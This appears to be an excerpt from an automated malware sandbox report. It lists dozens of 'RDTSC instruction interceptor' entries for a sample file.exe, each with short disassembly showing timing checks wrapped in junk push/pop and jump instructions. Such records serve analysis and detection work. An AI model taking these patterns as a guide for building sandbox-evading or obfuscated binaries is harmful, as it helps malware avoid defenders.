Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B16 second address: 8B4B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B1E second address: 8B4B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F57D451A1BDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B32 second address: 8B4B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F57D4F134E0h 0x00000011 jns 00007F57D4F134D6h 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B5C second address: 8B4B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F57D451A1C9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B7A second address: 8B4B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134E2h 0x00000009 popad 0x0000000a jbe 00007F57D4F134DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B43E5 second address: 8B43EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B43EB second address: 8B43F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4540 second address: 8B4551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F57D451A1BCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4551 second address: 8B4557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4557 second address: 8B455D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6BD0 second address: 8B6BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F57D4F134D6h 0x0000000a popad 0x0000000b jp 00007F57D4F134E4h 0x00000011 jmp 00007F57D4F134DCh 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6BEF second address: 8B6C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C00 second address: 8B6C3D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F57D4F134D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F57D4F134E2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jc 00007F57D4F134D6h 0x0000001a push edi 0x0000001b pop edi 0x0000001c pop ecx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F57D4F134DEh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C3D second address: 8B6C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6C42 second address: 8B6C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD87F second address: 8BD889 instructions: 0x00000000 rdtsc 0x00000002 je 00007F57D451A1C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD889 second address: 8BD88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC1E7 second address: 8BC202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C5h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC392 second address: 8BC396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC396 second address: 8BC3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F57D451A1C3h 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F57D451A1BBh 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BC542 second address: 8BC547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87252A second address: 8725B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F57D451A1B6h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jo 00007F57D451A1CFh 0x00000017 jmp 00007F57D451A1C9h 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F57D451A1B8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 pushad 0x00000038 popad 0x00000039 mov ebx, dword ptr [ebp+12483647h] 0x0000003f mov di, D8E2h 0x00000043 add eax, ebx 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007F57D451A1B8h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], esi 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f add dx, FCBEh 0x00000064 mov ecx, dword ptr [ebp+122D1B59h] 0x0000006a nop 0x0000006b push edi 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8725B7 second address: 8725BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8725BD second address: 8725F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F57D451A1C8h 0x0000000c nop 0x0000000d mov cl, F1h 0x0000000f push 00000004h 0x00000011 mov cx, C0C1h 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F57D451A1BDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCBFB second address: 8BCBFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCBFF second address: 8BCC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2303 second address: 8C2310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007F57D4F134DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B6F second address: 8C1B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F57D451A1BEh 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F57D451A1B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1B8B second address: 8C1B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C526F second address: 8C527C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F57D451A1BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C49AF second address: 8C49B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4F66 second address: 8C4F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4F6C second address: 8C4F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4F70 second address: 8C4F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4F74 second address: 8C4F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C68EB second address: 8C68F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C68F1 second address: 8C68F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C68F7 second address: 8C68FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC4D2 second address: 8CC4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F57D4F134E6h 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CC7DD second address: 8CC7E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCACD second address: 8CCADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCADD second address: 8CCAE9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F57D451A1B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCAE9 second address: 8CCB03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCDEE second address: 8CCDF8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F57D451A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD0A8 second address: 8CD0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F57D4F134D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD0B5 second address: 8CD0BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD0BB second address: 8CD0BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD3B2 second address: 8CD3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD3B6 second address: 8CD3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F57D4F134D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD9A1 second address: 8CD9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD9A7 second address: 8CD9B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F57D4F134D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD9B3 second address: 8CD9FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D451A1C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F57D451A1CDh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F57D451A1C7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CD9FF second address: 8CDA09 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F57D4F134D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CDA09 second address: 8CDA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CDA0F second address: 8CDA15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CDA15 second address: 8CDA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CDA1B second address: 8CDA1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CDA1F second address: 8CDA28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1CCC second address: 8D1CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1CD1 second address: 8D1CE1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F57D451A1B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1CE1 second address: 8D1CFF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F57D4F134D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F57D4F134E2h 0x00000016 js 00007F57D4F134D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1CFF second address: 8D1D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F57D451A1BFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1D14 second address: 8D1D1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1D1A second address: 8D1D21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1D21 second address: 8D1D27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1D27 second address: 8D1D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1D2D second address: 8D1D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F57D4F134DEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D1EAA second address: 8D1EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2031 second address: 8D2042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DBh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2042 second address: 8D2074 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F57D451A1BAh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F57D451A1C1h 0x00000013 jmp 00007F57D451A1C3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2074 second address: 8D2093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E2h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2093 second address: 8D2097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2097 second address: 8D20A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F57D4F134D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F57D4F134DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D21DE second address: 8D21E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D21E2 second address: 8D21F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134DBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2395 second address: 8D239B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D239B second address: 8D239F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2515 second address: 8D2519 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2519 second address: 8D2524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D267F second address: 8D26A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F57D451A1B6h 0x0000000a popad 0x0000000b jne 00007F57D451A1C4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D26A3 second address: 8D26A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D26A9 second address: 8D26AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D26AE second address: 8D26CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D4F134E6h 0x00000009 jnc 00007F57D4F134D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D732A second address: 8D7336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F57D451A1B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E089F second address: 8E08C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D4F134DAh 0x00000009 jmp 00007F57D4F134E5h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEF62 second address: 8DEF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DEF69 second address: 8DEFAD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F57D4F134E9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F57D4F134E5h 0x00000011 push edx 0x00000012 jmp 00007F57D4F134DCh 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF285 second address: 8DF289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF3B4 second address: 8DF3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DE734 second address: 8DE73A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E909C second address: 8E90C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134E7h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jg 00007F57D4F134D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E90C5 second address: 8E90CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E90CB second address: 8E90D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F57D4F134D8h 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8AF9 second address: 8E8B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F57D451A1C3h 0x00000009 jns 00007F57D451A1B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B16 second address: 8E8B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57D4F134DFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B29 second address: 8E8B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F57D451A1BEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8B41 second address: 8E8B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F56FB second address: 8F5726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57D451A1C8h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c ja 00007F57D451A1BCh 0x00000012 rdtsc
